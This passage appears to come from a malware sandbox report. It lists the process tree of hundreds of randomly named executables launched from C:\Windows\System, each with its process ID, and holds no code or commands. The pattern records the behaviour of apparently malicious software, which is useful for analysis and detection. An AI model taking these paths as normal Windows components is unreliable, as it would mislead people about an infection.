  C:\Windows\System\nLGshtC.exe
  2⤵
  PID:8180
- C:\Windows\System\aWXdaQE.exe
  C:\Windows\System\aWXdaQE.exe
  2⤵
  PID:5372
- C:\Windows\System\ATsokZk.exe
  C:\Windows\System\ATsokZk.exe
  2⤵
  PID:7316
- C:\Windows\System\yYHbhAp.exe
  C:\Windows\System\yYHbhAp.exe
  2⤵
  PID:7496
- C:\Windows\System\bkdxfsd.exe
  C:\Windows\System\bkdxfsd.exe
  2⤵
  PID:7632
- C:\Windows\System\ePqzJxR.exe
  C:\Windows\System\ePqzJxR.exe
  2⤵
  PID:7812
- C:\Windows\System\AXDpJKm.exe
  C:\Windows\System\AXDpJKm.exe
  2⤵
  PID:7960
- C:\Windows\System\TjobWPO.exe
  C:\Windows\System\TjobWPO.exe
  2⤵
  PID:8144
- C:\Windows\System\cOSlpZL.exe
  C:\Windows\System\cOSlpZL.exe
  2⤵
  PID:7292
- C:\Windows\System\SHhWzIe.exe
  C:\Windows\System\SHhWzIe.exe
  2⤵
  PID:7604
- C:\Windows\System\pXuqZvY.exe
  C:\Windows\System\pXuqZvY.exe
  2⤵
  PID:7896
- C:\Windows\System\XxnbKjf.exe
  C:\Windows\System\XxnbKjf.exe
  2⤵
  PID:7176
- C:\Windows\System\REZGDSj.exe
  C:\Windows\System\REZGDSj.exe
  2⤵
  PID:8080
- C:\Windows\System\ppwSLVd.exe
  C:\Windows\System\ppwSLVd.exe
  2⤵
  PID:7880
- C:\Windows\System\vQQczkt.exe
  C:\Windows\System\vQQczkt.exe
  2⤵
  PID:8224
- C:\Windows\System\NqThtkR.exe
  C:\Windows\System\NqThtkR.exe
  2⤵
  PID:8260
- C:\Windows\System\yRGYXqy.exe
  C:\Windows\System\yRGYXqy.exe
  2⤵
  PID:8300
- C:\Windows\System\uhxACKx.exe
  C:\Windows\System\uhxACKx.exe
  2⤵
  PID:8340
- C:\Windows\System\WEfWNYB.exe
  C:\Windows\System\WEfWNYB.exe
  2⤵
  PID:8368
- C:\Windows\System\QvUpcwu.exe
  C:\Windows\System\QvUpcwu.exe
  2⤵
  PID:8384
- C:\Windows\System\CVdcgIw.exe
  C:\Windows\System\CVdcgIw.exe
  2⤵
  PID:8428
- C:\Windows\System\SfofEJp.exe
  C:\Windows\System\SfofEJp.exe
  2⤵
  PID:8456
- C:\Windows\System\utLdDax.exe
  C:\Windows\System\utLdDax.exe
  2⤵
  PID:8484
- C:\Windows\System\BeXNkkC.exe
  C:\Windows\System\BeXNkkC.exe
  2⤵
  PID:8512
- C:\Windows\System\psCAqaz.exe
  C:\Windows\System\psCAqaz.exe
  2⤵
  PID:8540
- C:\Windows\System\JuInrQT.exe
  C:\Windows\System\JuInrQT.exe
  2⤵
  PID:8568
- C:\Windows\System\EeatyTd.exe
  C:\Windows\System\EeatyTd.exe
  2⤵
  PID:8596
- C:\Windows\System\ZLZoJtv.exe
  C:\Windows\System\ZLZoJtv.exe
  2⤵
  PID:8624
- C:\Windows\System\vzZYxKf.exe
  C:\Windows\System\vzZYxKf.exe
  2⤵
  PID:8652
- C:\Windows\System\KUamNsR.exe
  C:\Windows\System\KUamNsR.exe
  2⤵
  PID:8680
- C:\Windows\System\aqyJMtv.exe
  C:\Windows\System\aqyJMtv.exe
  2⤵
  PID:8708
- C:\Windows\System\EufJeRI.exe
  C:\Windows\System\EufJeRI.exe
  2⤵
  PID:8736
- C:\Windows\System\obhAMxn.exe
  C:\Windows\System\obhAMxn.exe
  2⤵
  PID:8764
- C:\Windows\System\iglSkHY.exe
  C:\Windows\System\iglSkHY.exe
  2⤵
  PID:8792
- C:\Windows\System\kztVegj.exe
  C:\Windows\System\kztVegj.exe
  2⤵
  PID:8820
- C:\Windows\System\ZNCLKDg.exe
  C:\Windows\System\ZNCLKDg.exe
  2⤵
  PID:8848
- C:\Windows\System\vosUhLz.exe
  C:\Windows\System\vosUhLz.exe
  2⤵
  PID:8876
- C:\Windows\System\TLcTRvJ.exe
  C:\Windows\System\TLcTRvJ.exe
  2⤵
  PID:8904
- C:\Windows\System\UjrBYnY.exe
  C:\Windows\System\UjrBYnY.exe
  2⤵
  PID:8932
- C:\Windows\System\MzLVHWg.exe
  C:\Windows\System\MzLVHWg.exe
  2⤵
  PID:8960
- C:\Windows\System\ivBGSLw.exe
  C:\Windows\System\ivBGSLw.exe
  2⤵
  PID:8988
- C:\Windows\System\bymRMhL.exe
  C:\Windows\System\bymRMhL.exe
  2⤵
  PID:9016
- C:\Windows\System\cfuUgqj.exe
  C:\Windows\System\cfuUgqj.exe
  2⤵
  PID:9048
- C:\Windows\System\DuSsAkH.exe
  C:\Windows\System\DuSsAkH.exe
  2⤵
  PID:9076
- C:\Windows\System\ECfcVGN.exe
  C:\Windows\System\ECfcVGN.exe
  2⤵
  PID:9108
- C:\Windows\System\ygRceKr.exe
  C:\Windows\System\ygRceKr.exe
  2⤵
  PID:9136
- C:\Windows\System\MGRSvxh.exe
  C:\Windows\System\MGRSvxh.exe
  2⤵
  PID:9172
- C:\Windows\System\GlPnscM.exe
  C:\Windows\System\GlPnscM.exe
  2⤵
  PID:9192
- C:\Windows\System\aVXZxLV.exe
  C:\Windows\System\aVXZxLV.exe
  2⤵
  PID:8212
- C:\Windows\System\GJsdCjm.exe
  C:\Windows\System\GJsdCjm.exe
  2⤵
  PID:8292
- C:\Windows\System\epjYMNP.exe
  C:\Windows\System\epjYMNP.exe
  2⤵
  PID:8352
- C:\Windows\System\btHgvcC.exe
  C:\Windows\System\btHgvcC.exe
  2⤵
  PID:8424
- C:\Windows\System\Olixnwz.exe
  C:\Windows\System\Olixnwz.exe
  2⤵
  PID:8496
- C:\Windows\System\xTUgErL.exe
  C:\Windows\System\xTUgErL.exe
  2⤵
  PID:8560
- C:\Windows\System\TcdKHWp.exe
  C:\Windows\System\TcdKHWp.exe
  2⤵
  PID:8620
- C:\Windows\System\pfqbFKv.exe
  C:\Windows\System\pfqbFKv.exe
  2⤵
  PID:8692
- C:\Windows\System\pvbeTmV.exe
  C:\Windows\System\pvbeTmV.exe
  2⤵
  PID:8756
- C:\Windows\System\dZxQEJE.exe
  C:\Windows\System\dZxQEJE.exe
  2⤵
  PID:8816
- C:\Windows\System\lQppAQh.exe
  C:\Windows\System\lQppAQh.exe
  2⤵
  PID:8888
- C:\Windows\System\QvBqYBL.exe
  C:\Windows\System\QvBqYBL.exe
  2⤵
  PID:8952
- C:\Windows\System\webweid.exe
  C:\Windows\System\webweid.exe
  2⤵
  PID:9012
- C:\Windows\System\cOrLakv.exe
  C:\Windows\System\cOrLakv.exe
  2⤵
  PID:9072
- C:\Windows\System\rWyiGMK.exe
  C:\Windows\System\rWyiGMK.exe
  2⤵
  PID:9132
- C:\Windows\System\ZJDaLRO.exe
  C:\Windows\System\ZJDaLRO.exe
  2⤵
  PID:9204
- C:\Windows\System\dnAgAyX.exe
  C:\Windows\System\dnAgAyX.exe
  2⤵
  PID:8356
- C:\Windows\System\HxgxjJA.exe
  C:\Windows\System\HxgxjJA.exe
  2⤵
  PID:8476
- C:\Windows\System\xaGObLR.exe
  C:\Windows\System\xaGObLR.exe
  2⤵
  PID:8616
- C:\Windows\System\impeMab.exe
  C:\Windows\System\impeMab.exe
  2⤵
  PID:8784
- C:\Windows\System\CYqjtWy.exe
  C:\Windows\System\CYqjtWy.exe
  2⤵
  PID:8928
- C:\Windows\System\AOmjoFD.exe
  C:\Windows\System\AOmjoFD.exe
  2⤵
  PID:9008
- C:\Windows\System\OToQbPm.exe
  C:\Windows\System\OToQbPm.exe
  2⤵
  PID:9184
- C:\Windows\System\wCrVJfF.exe
  C:\Windows\System\wCrVJfF.exe
  2⤵
  PID:8452
- C:\Windows\System\fbTlOoK.exe
  C:\Windows\System\fbTlOoK.exe
  2⤵
  PID:8916
- C:\Windows\System\tvbyQpc.exe
  C:\Windows\System\tvbyQpc.exe
  2⤵
  PID:8276
- C:\Windows\System\cYEXnTx.exe
  C:\Windows\System\cYEXnTx.exe
  2⤵
  PID:9068
- C:\Windows\System\jAFnNHc.exe
  C:\Windows\System\jAFnNHc.exe
  2⤵
  PID:9224
- C:\Windows\System\dYrJUlg.exe
  C:\Windows\System\dYrJUlg.exe
  2⤵
  PID:9252
- C:\Windows\System\vVRQftE.exe
  C:\Windows\System\vVRQftE.exe
  2⤵
  PID:9272
- C:\Windows\System\jBcDIrT.exe
  C:\Windows\System\jBcDIrT.exe
  2⤵
  PID:9292
- C:\Windows\System\HBJZSpz.exe
  C:\Windows\System\HBJZSpz.exe
  2⤵
  PID:9324
- C:\Windows\System\kfLPYCt.exe
  C:\Windows\System\kfLPYCt.exe
  2⤵
  PID:9356
- C:\Windows\System\ZDiSbKN.exe
  C:\Windows\System\ZDiSbKN.exe
  2⤵
  PID:9404
- C:\Windows\System\cdGQbku.exe
  C:\Windows\System\cdGQbku.exe
  2⤵
  PID:9432
- C:\Windows\System\DmOgVjm.exe
  C:\Windows\System\DmOgVjm.exe
  2⤵
  PID:9448
- C:\Windows\System\qYQQSDq.exe
  C:\Windows\System\qYQQSDq.exe
  2⤵
  PID:9468
- C:\Windows\System\rFTKJsV.exe
  C:\Windows\System\rFTKJsV.exe
  2⤵
  PID:9516
- C:\Windows\System\LZXraIX.exe
  C:\Windows\System\LZXraIX.exe
  2⤵
  PID:9544
- C:\Windows\System\vVPyrKh.exe
  C:\Windows\System\vVPyrKh.exe
  2⤵
  PID:9572
- C:\Windows\System\PDtFYQH.exe
  C:\Windows\System\PDtFYQH.exe
  2⤵
  PID:9600
- C:\Windows\System\ojpUBnn.exe
  C:\Windows\System\ojpUBnn.exe
  2⤵
  PID:9628
- C:\Windows\System\BlfDwJv.exe
  C:\Windows\System\BlfDwJv.exe
  2⤵
  PID:9656
- C:\Windows\System\ZVDWnEf.exe
  C:\Windows\System\ZVDWnEf.exe
  2⤵
  PID:9684
- C:\Windows\System\zKwQdMY.exe
  C:\Windows\System\zKwQdMY.exe
  2⤵
  PID:9712
- C:\Windows\System\WVaFCax.exe
  C:\Windows\System\WVaFCax.exe
  2⤵
  PID:9740
- C:\Windows\System\pdOVvKD.exe
  C:\Windows\System\pdOVvKD.exe
  2⤵
  PID:9768
- C:\Windows\System\orHyhsq.exe
  C:\Windows\System\orHyhsq.exe
  2⤵
  PID:9796
- C:\Windows\System\umDjsXt.exe
  C:\Windows\System\umDjsXt.exe
  2⤵
  PID:9824
- C:\Windows\System\LesEyzp.exe
  C:\Windows\System\LesEyzp.exe
  2⤵
  PID:9852
- C:\Windows\System\peXtKnv.exe
  C:\Windows\System\peXtKnv.exe
  2⤵
  PID:9880
- C:\Windows\System\eXytnGg.exe
  C:\Windows\System\eXytnGg.exe
  2⤵
  PID:9908
- C:\Windows\System\DMviKXi.exe
  C:\Windows\System\DMviKXi.exe
  2⤵
  PID:9936
- C:\Windows\System\pFECGHA.exe
  C:\Windows\System\pFECGHA.exe
  2⤵
  PID:9964
- C:\Windows\System\uGYxigF.exe
  C:\Windows\System\uGYxigF.exe
  2⤵
  PID:9992
- C:\Windows\System\xtHUrol.exe
  C:\Windows\System\xtHUrol.exe
  2⤵
  PID:10020
- C:\Windows\System\fOZuDtf.exe
  C:\Windows\System\fOZuDtf.exe
  2⤵
  PID:10048
- C:\Windows\System\MWVIaXj.exe
  C:\Windows\System\MWVIaXj.exe
  2⤵
  PID:10076
- C:\Windows\System\RublJpU.exe
  C:\Windows\System\RublJpU.exe
  2⤵
  PID:10104
- C:\Windows\System\ysQSDjs.exe
  C:\Windows\System\ysQSDjs.exe
  2⤵
  PID:10132
- C:\Windows\System\PGtYKlf.exe
  C:\Windows\System\PGtYKlf.exe
  2⤵
  PID:10160
- C:\Windows\System\OtBvadG.exe
  C:\Windows\System\OtBvadG.exe
  2⤵
  PID:10188
- C:\Windows\System\pVOlKyG.exe
  C:\Windows\System\pVOlKyG.exe
  2⤵
  PID:10216
- C:\Windows\System\GSkCUvV.exe
  C:\Windows\System\GSkCUvV.exe
  2⤵
  PID:9220
- C:\Windows\System\TPlqXIJ.exe
  C:\Windows\System\TPlqXIJ.exe
  2⤵
  PID:9260
- C:\Windows\System\fawUSKm.exe
  C:\Windows\System\fawUSKm.exe
  2⤵
  PID:9392
- C:\Windows\System\AaXdzxS.exe
  C:\Windows\System\AaXdzxS.exe
  2⤵
  PID:9428
- C:\Windows\System\EhSfyud.exe
  C:\Windows\System\EhSfyud.exe
  2⤵
  PID:9504
- C:\Windows\System\HlLpgwr.exe
  C:\Windows\System\HlLpgwr.exe
  2⤵
  PID:9568
- C:\Windows\System\DZzcivI.exe
  C:\Windows\System\DZzcivI.exe
  2⤵
  PID:9668
- C:\Windows\System\aHNZKsH.exe
  C:\Windows\System\aHNZKsH.exe
  2⤵
  PID:9752
- C:\Windows\System\bmXzVIf.exe
  C:\Windows\System\bmXzVIf.exe
  2⤵
  PID:9816
- C:\Windows\System\lMIPMTE.exe
  C:\Windows\System\lMIPMTE.exe
  2⤵
  PID:9900
- C:\Windows\System\peIvUpK.exe
  C:\Windows\System\peIvUpK.exe
  2⤵
  PID:9960
- C:\Windows\System\MRcvuVz.exe
  C:\Windows\System\MRcvuVz.exe
  2⤵
  PID:10044
- C:\Windows\System\jHntOzb.exe
  C:\Windows\System\jHntOzb.exe
  2⤵
  PID:10096
- C:\Windows\System\aUGduZS.exe
  C:\Windows\System\aUGduZS.exe
  2⤵
  PID:10156
- C:\Windows\System\mdNvSKq.exe
  C:\Windows\System\mdNvSKq.exe
  2⤵
  PID:10236
- C:\Windows\System\YqjmzUk.exe
  C:\Windows\System\YqjmzUk.exe
  2⤵
  PID:9336
- C:\Windows\System\foiDQrs.exe
  C:\Windows\System\foiDQrs.exe
  2⤵
  PID:9500
- C:\Windows\System\UqXduRn.exe
  C:\Windows\System\UqXduRn.exe
  2⤵
  PID:9640
- C:\Windows\System\UHThJed.exe
  C:\Windows\System\UHThJed.exe
  2⤵
  PID:9780
- C:\Windows\System\qmpAMnq.exe
  C:\Windows\System\qmpAMnq.exe
  2⤵
  PID:9892
- C:\Windows\System\QNKcfQG.exe
  C:\Windows\System\QNKcfQG.exe
  2⤵
  PID:10088
- C:\Windows\System\iNPMosM.exe
  C:\Windows\System\iNPMosM.exe
  2⤵
  PID:10212
- C:\Windows\System\OteIOyE.exe
  C:\Windows\System\OteIOyE.exe
  2⤵
  PID:9476
- C:\Windows\System\jMNNNAM.exe
  C:\Windows\System\jMNNNAM.exe
  2⤵
  PID:9724
- C:\Windows\System\ZNPPjpn.exe
  C:\Windows\System\ZNPPjpn.exe
  2⤵
  PID:9872
- C:\Windows\System\acVBpJJ.exe
  C:\Windows\System\acVBpJJ.exe
  2⤵
  PID:9284
- C:\Windows\System\nvYokNC.exe
  C:\Windows\System\nvYokNC.exe
  2⤵
  PID:9844
- C:\Windows\System\TsbsPQy.exe
  C:\Windows\System\TsbsPQy.exe
  2⤵
  PID:9876
- C:\Windows\System\QZKlQme.exe
  C:\Windows\System\QZKlQme.exe
  2⤵
  PID:10256
- C:\Windows\System\iCJSFFT.exe
  C:\Windows\System\iCJSFFT.exe
  2⤵
  PID:10284
- C:\Windows\System\FMTfKHm.exe
  C:\Windows\System\FMTfKHm.exe
  2⤵
  PID:10312
- C:\Windows\System\dpjyZyS.exe
  C:\Windows\System\dpjyZyS.exe
  2⤵
  PID:10340
- C:\Windows\System\WswYWnP.exe
  C:\Windows\System\WswYWnP.exe
  2⤵
  PID:10368
- C:\Windows\System\VRyqSxz.exe
  C:\Windows\System\VRyqSxz.exe
  2⤵
  PID:10396
- C:\Windows\System\hHGfrVp.exe
  C:\Windows\System\hHGfrVp.exe
  2⤵
  PID:10432
- C:\Windows\System\CNKLQVD.exe
  C:\Windows\System\CNKLQVD.exe
  2⤵
  PID:10456
- C:\Windows\System\VLrHeXv.exe
  C:\Windows\System\VLrHeXv.exe
  2⤵
  PID:10480
- C:\Windows\System\ghTgxJg.exe
  C:\Windows\System\ghTgxJg.exe
  2⤵
  PID:10516
- C:\Windows\System\cGaMMQc.exe
  C:\Windows\System\cGaMMQc.exe
  2⤵
  PID:10560
- C:\Windows\System\KqSIlyl.exe
  C:\Windows\System\KqSIlyl.exe
  2⤵
  PID:10584
- C:\Windows\System\RhEtvlz.exe
  C:\Windows\System\RhEtvlz.exe
  2⤵
  PID:10616
- C:\Windows\System\QClSbbJ.exe
  C:\Windows\System\QClSbbJ.exe
  2⤵
  PID:10652
- C:\Windows\System\tJGfwpb.exe
  C:\Windows\System\tJGfwpb.exe
  2⤵
  PID:10680
- C:\Windows\System\jTkmVst.exe
  C:\Windows\System\jTkmVst.exe
  2⤵
  PID:10712
- C:\Windows\System\TQlaCac.exe
  C:\Windows\System\TQlaCac.exe
  2⤵
  PID:10748
- C:\Windows\System\BjfvJLO.exe
  C:\Windows\System\BjfvJLO.exe
  2⤵
  PID:10776
- C:\Windows\System\TmiFBPM.exe
  C:\Windows\System\TmiFBPM.exe
  2⤵
  PID:10816
- C:\Windows\System\PhAIqcg.exe
  C:\Windows\System\PhAIqcg.exe
  2⤵
  PID:10844
- C:\Windows\System\BUtfldL.exe
  C:\Windows\System\BUtfldL.exe
  2⤵
  PID:10872
- C:\Windows\System\BFXvmbP.exe
  C:\Windows\System\BFXvmbP.exe
  2⤵
  PID:10900
- C:\Windows\System\mfbwwIT.exe
  C:\Windows\System\mfbwwIT.exe
  2⤵
  PID:10928
- C:\Windows\System\Ohmawfd.exe
  C:\Windows\System\Ohmawfd.exe
  2⤵
  PID:10956
- C:\Windows\System\VIBSvKl.exe
  C:\Windows\System\VIBSvKl.exe
  2⤵
  PID:10984
- C:\Windows\System\oOaKjjP.exe
  C:\Windows\System\oOaKjjP.exe
  2⤵
  PID:11012
- C:\Windows\System\QkcRIdL.exe
  C:\Windows\System\QkcRIdL.exe
  2⤵
  PID:11044
- C:\Windows\System\lCsrUZP.exe
  C:\Windows\System\lCsrUZP.exe
  2⤵
  PID:11068
- C:\Windows\System\OYHxBmE.exe
  C:\Windows\System\OYHxBmE.exe
  2⤵
  PID:11096
- C:\Windows\System\chJadBU.exe
  C:\Windows\System\chJadBU.exe
  2⤵
  PID:11124
- C:\Windows\System\qXAyJuY.exe
  C:\Windows\System\qXAyJuY.exe
  2⤵
  PID:11152
- C:\Windows\System\jIUnJVg.exe
  C:\Windows\System\jIUnJVg.exe
  2⤵
  PID:11180
- C:\Windows\System\GMEOzam.exe
  C:\Windows\System\GMEOzam.exe
  2⤵
  PID:11212
- C:\Windows\System\PTXKLQy.exe
  C:\Windows\System\PTXKLQy.exe
  2⤵
  PID:11240
- C:\Windows\System\GuBOXpE.exe
  C:\Windows\System\GuBOXpE.exe
  2⤵
  PID:10248
- C:\Windows\System\Idqzlrb.exe
  C:\Windows\System\Idqzlrb.exe
  2⤵
  PID:10308
- C:\Windows\System\WDWPPIB.exe
  C:\Windows\System\WDWPPIB.exe
  2⤵
  PID:10380
- C:\Windows\System\xdETPzh.exe
  C:\Windows\System\xdETPzh.exe
  2⤵
  PID:10420
- C:\Windows\System\PZwfvun.exe
  C:\Windows\System\PZwfvun.exe
  2⤵
  PID:10548
- C:\Windows\System\OmnClbJ.exe
  C:\Windows\System\OmnClbJ.exe
  2⤵
  PID:10596
- C:\Windows\System\qLhkNXh.exe
  C:\Windows\System\qLhkNXh.exe
  2⤵
  PID:10668
- C:\Windows\System\CrvcdoE.exe
  C:\Windows\System\CrvcdoE.exe
  2⤵
  PID:10736
- C:\Windows\System\UWbeOYA.exe
  C:\Windows\System\UWbeOYA.exe
  2⤵
  PID:10828
- C:\Windows\System\IrUjVSe.exe
  C:\Windows\System\IrUjVSe.exe
  2⤵
  PID:10464
- C:\Windows\System\tdsoXQT.exe
  C:\Windows\System\tdsoXQT.exe
  2⤵
  PID:10940
- C:\Windows\System\odTVfdr.exe
  C:\Windows\System\odTVfdr.exe
  2⤵
  PID:11004
- C:\Windows\System\bZTuwOt.exe
  C:\Windows\System\bZTuwOt.exe
  2⤵
  PID:11064
- C:\Windows\System\UVQOOPc.exe
  C:\Windows\System\UVQOOPc.exe
  2⤵
  PID:11136
- C:\Windows\System\ctACNlN.exe
  C:\Windows\System\ctACNlN.exe
  2⤵
  PID:11208
- C:\Windows\System\zXAVvrY.exe
  C:\Windows\System\zXAVvrY.exe
  2⤵
  PID:9696
- C:\Windows\System\EUYAIdZ.exe
  C:\Windows\System\EUYAIdZ.exe
  2⤵
  PID:10336
- C:\Windows\System\bfTlICE.exe
  C:\Windows\System\bfTlICE.exe
  2⤵
  PID:10408
- C:\Windows\System\ViuBnKt.exe
  C:\Windows\System\ViuBnKt.exe
  2⤵
  PID:10544
- C:\Windows\System\mZvHdNe.exe
  C:\Windows\System\mZvHdNe.exe
  2⤵
  PID:10732
- C:\Windows\System\eqSOTag.exe
  C:\Windows\System\eqSOTag.exe
  2⤵
  PID:10924
- C:\Windows\System\jBwHPkX.exe
  C:\Windows\System\jBwHPkX.exe
  2⤵
  PID:11092
- C:\Windows\System\QKnwxRa.exe
  C:\Windows\System\QKnwxRa.exe
  2⤵
  PID:10296
- C:\Windows\System\ZsjXfSH.exe
  C:\Windows\System\ZsjXfSH.exe
  2⤵
  PID:10600
- C:\Windows\System\JnDxFso.exe
  C:\Windows\System\JnDxFso.exe
  2⤵
  PID:10700
- C:\Windows\System\VbEkzVS.exe
  C:\Windows\System\VbEkzVS.exe
  2⤵
  PID:10364
- C:\Windows\System\ajrqKwk.exe
  C:\Windows\System\ajrqKwk.exe
  2⤵
  PID:10448
- C:\Windows\System\JRRymUq.exe
  C:\Windows\System\JRRymUq.exe
  2⤵
  PID:11292
- C:\Windows\System\miMNcJV.exe
  C:\Windows\System\miMNcJV.exe
  2⤵
  PID:11332
- C:\Windows\System\XEvearW.exe
  C:\Windows\System\XEvearW.exe
  2⤵
  PID:11352
- C:\Windows\System\ccWjMBp.exe
  C:\Windows\System\ccWjMBp.exe
  2⤵
  PID:11376
- C:\Windows\System\CSuyqEC.exe
  C:\Windows\System\CSuyqEC.exe
  2⤵
  PID:11404
- C:\Windows\System\DjDLGvX.exe
  C:\Windows\System\DjDLGvX.exe
  2⤵
  PID:11432
- C:\Windows\System\WucTiFe.exe
  C:\Windows\System\WucTiFe.exe
  2⤵
  PID:11448
- C:\Windows\System\orBBAfH.exe
  C:\Windows\System\orBBAfH.exe
  2⤵
  PID:11488
- C:\Windows\System\HXRCDlz.exe
  C:\Windows\System\HXRCDlz.exe
  2⤵
  PID:11508
- C:\Windows\System\gUKXQMT.exe
  C:\Windows\System\gUKXQMT.exe
  2⤵
  PID:11544
- C:\Windows\System\VVXGycf.exe
  C:\Windows\System\VVXGycf.exe
  2⤵
  PID:11584
- C:\Windows\System\IprjyqF.exe
  C:\Windows\System\IprjyqF.exe
  2⤵
  PID:11612
- C:\Windows\System\ULUZgCz.exe
  C:\Windows\System\ULUZgCz.exe
  2⤵
  PID:11640
- C:\Windows\System\CvnEJGe.exe
  C:\Windows\System\CvnEJGe.exe
  2⤵
  PID:11668
- C:\Windows\System\jGlHAXh.exe
  C:\Windows\System\jGlHAXh.exe
  2⤵
  PID:11696
- C:\Windows\System\PgfsiSI.exe
  C:\Windows\System\PgfsiSI.exe
  2⤵
  PID:11740
- C:\Windows\System\hszcVoX.exe
  C:\Windows\System\hszcVoX.exe
  2⤵
  PID:11768
- C:\Windows\System\wJmQOnd.exe
  C:\Windows\System\wJmQOnd.exe
  2⤵
  PID:11784
- C:\Windows\System\wZOBsaq.exe
  C:\Windows\System\wZOBsaq.exe
  2⤵
  PID:11812
- C:\Windows\System\LByRAQm.exe
  C:\Windows\System\LByRAQm.exe
  2⤵
  PID:11840
- C:\Windows\System\htlBudt.exe
  C:\Windows\System\htlBudt.exe
  2⤵
  PID:11868
- C:\Windows\System\XvoaOsW.exe
  C:\Windows\System\XvoaOsW.exe
  2⤵
  PID:11888
- C:\Windows\System\zoKSRsP.exe
  C:\Windows\System\zoKSRsP.exe
  2⤵
  PID:11912
- C:\Windows\System\JALNfXs.exe
  C:\Windows\System\JALNfXs.exe
  2⤵
  PID:11952
- C:\Windows\System\gkMbvcH.exe
  C:\Windows\System\gkMbvcH.exe
  2⤵
  PID:11980
- C:\Windows\System\PgJXlki.exe
  C:\Windows\System\PgJXlki.exe
  2⤵
  PID:12008
- C:\Windows\System\swHMgSf.exe
  C:\Windows\System\swHMgSf.exe
  2⤵
  PID:12036
- C:\Windows\System\CtHNAFg.exe
  C:\Windows\System\CtHNAFg.exe
  2⤵
  PID:12064
- C:\Windows\System\IKrYoGt.exe
  C:\Windows\System\IKrYoGt.exe
  2⤵
  PID:12092
- C:\Windows\System\WNKEhQE.exe
  C:\Windows\System\WNKEhQE.exe
  2⤵
  PID:12120
- C:\Windows\System\zcbgmhS.exe
  C:\Windows\System\zcbgmhS.exe
  2⤵
  PID:12148
- C:\Windows\System\zqUCmif.exe
  C:\Windows\System\zqUCmif.exe
  2⤵
  PID:12176
- C:\Windows\System\hDLodah.exe
  C:\Windows\System\hDLodah.exe
  2⤵
  PID:12204
- C:\Windows\System\znemHje.exe
  C:\Windows\System\znemHje.exe
  2⤵
  PID:12232
- C:\Windows\System\QCHNmiY.exe
  C:\Windows\System\QCHNmiY.exe
  2⤵
  PID:12260
- C:\Windows\System\hhkAXtN.exe
  C:\Windows\System\hhkAXtN.exe
  2⤵
  PID:10996
- C:\Windows\System\eFXMFvb.exe
  C:\Windows\System\eFXMFvb.exe
  2⤵
  PID:11324
- C:\Windows\System\XCfuLjQ.exe
  C:\Windows\System\XCfuLjQ.exe
  2⤵
  PID:11364
- C:\Windows\System\OrefsYu.exe
  C:\Windows\System\OrefsYu.exe
  2⤵
  PID:11428
- C:\Windows\System\PPFIkPV.exe
  C:\Windows\System\PPFIkPV.exe
  2⤵
  PID:11516
- C:\Windows\System\frsVUQr.exe
  C:\Windows\System\frsVUQr.exe
  2⤵
  PID:11580
- C:\Windows\System\pRDkEtB.exe
  C:\Windows\System\pRDkEtB.exe
  2⤵
  PID:1004
- C:\Windows\System\FhpTQDe.exe
  C:\Windows\System\FhpTQDe.exe
  2⤵
  PID:11632
- C:\Windows\System\fGecTYe.exe
  C:\Windows\System\fGecTYe.exe
  2⤵
  PID:11692
- C:\Windows\System\fOOBSoO.exe
  C:\Windows\System\fOOBSoO.exe
  2⤵
  PID:11764
- C:\Windows\System\GTlPEDM.exe
  C:\Windows\System\GTlPEDM.exe
  2⤵
  PID:11824
- C:\Windows\System\sKaLAbX.exe
  C:\Windows\System\sKaLAbX.exe
  2⤵
  PID:11880
- C:\Windows\System\HgjteqB.exe
  C:\Windows\System\HgjteqB.exe
  2⤵
  PID:11948
- C:\Windows\System\PtHYQFE.exe
  C:\Windows\System\PtHYQFE.exe
  2⤵
  PID:12020
- C:\Windows\System\QuYXBlK.exe
  C:\Windows\System\QuYXBlK.exe
  2⤵
  PID:12084
- C:\Windows\System\vRheMTB.exe
  C:\Windows\System\vRheMTB.exe
  2⤵
  PID:12144
- C:\Windows\System\ThFLbvD.exe
  C:\Windows\System\ThFLbvD.exe
  2⤵
  PID:12216
- C:\Windows\System\DkdUbcY.exe
  C:\Windows\System\DkdUbcY.exe
  2⤵
  PID:12280
- C:\Windows\System\vXgZQpW.exe
  C:\Windows\System\vXgZQpW.exe
  2⤵
  PID:11360
- C:\Windows\System\EDuytVd.exe
  C:\Windows\System\EDuytVd.exe
  2⤵
  PID:11524
- C:\Windows\System\gEfzNnN.exe
  C:\Windows\System\gEfzNnN.exe
  2⤵
  PID:3420
- C:\Windows\System\lrYtDDA.exe
  C:\Windows\System\lrYtDDA.exe
  2⤵
  PID:11748
- C:\Windows\System\GybzQOw.exe
  C:\Windows\System\GybzQOw.exe
  2⤵
  PID:11900
- C:\Windows\System\kLhnoDS.exe
  C:\Windows\System\kLhnoDS.exe
  2⤵
  PID:12048
- C:\Windows\System\DhSPcmz.exe
  C:\Windows\System\DhSPcmz.exe
  2⤵
  PID:12188
- C:\Windows\System\lEWJOoH.exe
  C:\Windows\System\lEWJOoH.exe
  2⤵
  PID:11368
- C:\Windows\System\kkWbzAb.exe
  C:\Windows\System\kkWbzAb.exe
  2⤵
  PID:2532
- C:\Windows\System\eILOdRu.exe
  C:\Windows\System\eILOdRu.exe
  2⤵
  PID:11944
- C:\Windows\System\TliRgFA.exe
  C:\Windows\System\TliRgFA.exe
  2⤵
  PID:11284
- C:\Windows\System\ZlVgCcO.exe
  C:\Windows\System\ZlVgCcO.exe
  2⤵
  PID:11876
- C:\Windows\System\IuchpJS.exe
  C:\Windows\System\IuchpJS.exe
  2⤵
  PID:12252
- C:\Windows\System\CYYZHLl.exe
  C:\Windows\System\CYYZHLl.exe
  2⤵
  PID:12308
- C:\Windows\System\aUdPbvt.exe
  C:\Windows\System\aUdPbvt.exe
  2⤵
  PID:12336
- C:\Windows\System\TAGgPKr.exe
  C:\Windows\System\TAGgPKr.exe
  2⤵
  PID:12364
- C:\Windows\System\GRTXRUj.exe
  C:\Windows\System\GRTXRUj.exe
  2⤵
  PID:12404
- C:\Windows\System\NYNbjYP.exe
  C:\Windows\System\NYNbjYP.exe
  2⤵
  PID:12432
- C:\Windows\System\yRWmIAy.exe
  C:\Windows\System\yRWmIAy.exe
  2⤵
  PID:12460
- C:\Windows\System\AUqGCuv.exe
  C:\Windows\System\AUqGCuv.exe
  2⤵
  PID:12488
- C:\Windows\System\tboNxDS.exe
  C:\Windows\System\tboNxDS.exe
  2⤵
  PID:12516
- C:\Windows\System\vgRiPde.exe
  C:\Windows\System\vgRiPde.exe
  2⤵
  PID:12544
- C:\Windows\System\qBOzPhV.exe
  C:\Windows\System\qBOzPhV.exe
  2⤵
  PID:12564
- C:\Windows\System\uzZebgw.exe
  C:\Windows\System\uzZebgw.exe
  2⤵
